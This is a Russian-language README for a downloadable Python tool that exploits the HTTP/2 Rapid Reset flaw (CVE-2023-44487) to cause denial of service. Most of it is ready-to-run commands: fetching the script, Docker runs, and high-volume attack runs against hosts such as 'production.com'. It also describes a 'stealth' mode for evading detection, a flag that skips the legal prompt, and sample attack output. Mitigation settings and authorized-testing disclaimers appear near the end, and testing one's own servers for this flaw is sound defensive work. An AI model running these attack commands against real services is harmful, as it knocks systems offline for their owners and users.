
Продвинутый фреймворк для эксплуатации уязвимости CVE-2023-44487 HTTP/2 Rapid Reset. Включает многопоточные конкурентные атаки, адаптивное управление скоростью, скрытый режим со случайными заголовками, метрики в реальном времени и отчёты по оценке рисков. Только для авторизованного тестирования на проникновение. Автор: Sudeepa Wanigarathna
Профессиональное издание v1.0.1 | Автор: Sudeepa Wanigarathna
Профессиональная платформа для оценки CVE-2023-44487 — уязвимости HTTP/2 Rapid Reset. Этот инструмент помогает специалистам по безопасности тестировать и проверять системы на устойчивость к одному из самых значительных DoS-состояний HTTP/2, раскрытых за последние годы.
Он демонстрирует, как быстрое создание и сброс потоков HTTP/2 может истощить ресурсы сервера и привести к состоянию отказа в обслуживании (Denial of Service, DoS).
| Использование | Результаты |
|---|---|
![]() | ![]() |
| Атрибут | Значение |
|---|---|
| Идентификатор CVE | CVE-2023-44487 |
| Оценка CVSS | 7.5 (высокая) |
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Воздействие | Отказ в обслуживании (истощение ресурсов) |
| Затронутые протоколы | HTTP/2 |
| Дата раскрытия | Октябрь 2023 года |
Уязвимость эксплуатирует механизм управления потоками протокола HTTP/2:
| Возможность | Описание |
|---|---|
| Поддержка HTTP/2 | Полная реализация протокола HTTP/2 с использованием библиотеки h2 |
| Многоподключенность | Параллельная атака по нескольким соединениям |
| SSL/TLS | Поддержка HTTPS с опциями проверки сертификатов |
| Адаптивное управление скоростью | Динамически регулирует скорость атаки в зависимости от реакции сервера |
| Скрытый режим | Случайные заголовки и ротация соединений |
| Мониторинг в реальном времени | Отображение оперативных метрик во время выполнения |
| Подробные отчёты | Вывод в формате JSON/CSV с оценкой рисков |
| Поддержка Docker | Развёртывание в контейнерах для удобного тестирования |
| Компонент | Минимум | Рекомендуется |
|---|---|---|
| ОС | Linux / macOS / Windows | Linux или macOS |
| Python | 3.7+ | 3.11+ |
| CPU | 2 ядра | 4+ ядер |
| RAM | 2 ГБ | 4 ГБ+ |
| Сеть | 100 Мбит/с | 1 Гбит/с+ |
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
| Параметр | Описание | По умолчанию |
|---|---|---|
host | Имя хоста или IP-адрес цели | Обязательно |
-p, --port | Порт цели | 443 |
--no-ssl | Отключить SSL/TLS | False |
--no-verify | Пропустить проверку SSL | False |
| Параметр | Описание | По умолчанию |
|---|---|---|
-c, --connections | Количество параллельных соединений | 50 |
-s, --streams | Потоков на соединение | 1000 |
-d, --duration | Продолжительность в секундах | 30 |
--max-streams | Максимальное общее количество потоков | 100000 |
--delay | Базовая задержка между операциями | 0.0001s |
| Параметр | Описание | По умолчанию |
|---|---|---|
--adaptive | Адаптивное управление скоростью | True |
--target-rps | Целевое количество запросов в секунду | 10000 |
--stealth | Скрытый режим (случайные заголовки) | False |
--skip-validation | Пропустить проверку цели | False |
--force | Пропустить запрос правового отказа | False |
| Параметр | Описание | По умолчанию |
|---|---|---|
-o, --output | Имя выходного файла | exploit_results.json |
--format | Формат вывода (json / csv / console) | json |
-v, --verbose | Подробное журналирование | False |
Используйте указанные выше флаги CLI для настройки параллелизма, объёма потоков, длительности и отчётности. Для первоначальной проверки предпочитайте меньшие значения -c / -s / -d, а масштабирование выполняйте только на системах, которые вам разрешено подвергать нагрузочному тестированию.
| Сценарий | Рекомендуемые флаги |
|---|---|
| Дымовой тест | -c 10 -s 100 -d 5 |
| Стандартная оценка | -c 50 -s 1000 -d 30 |
| Лабораторный тест с высокой нагрузкой | -c 100 -s 2000 -d 60 --stealth |
| Недоверенный сертификат | --no-verify |
| Обычный HTTP | -p 80 --no-ssl |
docker build -t cve-2023-44487-exploit .
docker run --rm cve-2023-44487-exploit target.com
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
| Метрика | Описание | Интерпретация |
|---|---|---|
| Всего потоков | Количество созданных потоков | Чем выше значение, тем больше создаваемая нагрузка |
| Успешные сбросы | Потоки, успешно сброшенные | Обычно >90% на уязвимых целях |
| Скорость сброса (RPS) | Сбросов в секунду | Чем выше скорость, тем эффективнее нагрузка |
| Процент успеха | Процент успешных сбросов | >90% часто указывает на подверженность атаке |
| Ошибки соединений | Неудачные соединения | Низкое значение = стабильное соединение |
| Сбросы сервера | Сбросы, инициированные сервером | Высокое значение = присутствуют защитные меры |
| Уровень | Оценка | Значение |
|---|---|---|
| КРИТИЧЕСКИЙ | 80–100 | Сервер крайне уязвим |
| ВЫСОКИЙ | 60–79 | Сервер уязвим, частичная защита |
| СРЕДНИЙ | 40–59 | Имеется частичная защита |
| НИЗКИЙ | 0–39 | Хорошо защищённый сервер |
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
Установите исправления безопасности
Внедрите ограничение скорости
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
Ограничения соединений
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
| Параметр | Рекомендация |
|---|---|
| Максимальное количество параллельных потоков | Установите 100–200 на соединение |
| Скорость сброса потоков | Ограничьте <100/сек на клиента |
| Лимит соединений | Максимум 50–100 соединений на IP |
| Значения тайм-аутов | Уменьшите тайм-ауты простоя |
| Лимиты размера запросов | Ограничьте размеры заголовков и полезной нагрузки |
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
ВАЖНО: ВНИМАТЕЛЬНО ПРОЧТИТЕ ПЕРЕД ИСПОЛЬЗОВАНИЕМ ЭТОГО ИНСТРУМЕНТА
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей.
Используя этот инструмент, вы подтверждаете и соглашаетесь с тем, что:
Этот инструмент НЕЛЬЗЯ использовать для:
АВТОР И УЧАСТНИКИ ПРЕДОСТАВЛЯЮТ ЭТОТ ИНСТРУМЕНТ «КАК ЕСТЬ» БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ. ИСПОЛЬЗОВАНИЕ ЭТОГО ИНСТРУМЕНТА ОСУЩЕСТВЛЯЕТСЯ НА ВАШ СОБСТВЕННЫЙ РИСК. АВТОР НЕ НЕСЁТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБОЙ УЩЕРБ ИЛИ ПРАВОВЫЕ ПРОБЛЕМЫ, ВОЗНИКШИЕ В РЕЗУЛЬТАТЕ ИСПОЛЬЗОВАНИЯ ЭТОГО ИНСТРУМЕНТА.
Несанкционированное использование этого инструмента может нарушать законы, включая, но не ограничиваясь:
Sudeepa Wanigarathna
connection_attempts--skip-validationЭтот проект распространяется под лицензией MIT — подробности см. в файле LICENSE.
h2, aiohttp)По вопросам и проблемам:
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
НАПОМИНАНИЕ: Всегда получайте надлежащее разрешение перед тестированием любой системы. Используйте этот инструмент ответственно и этично.
Поддерживается Sudeepa Wanigarathna | Последнее обновление: август 2026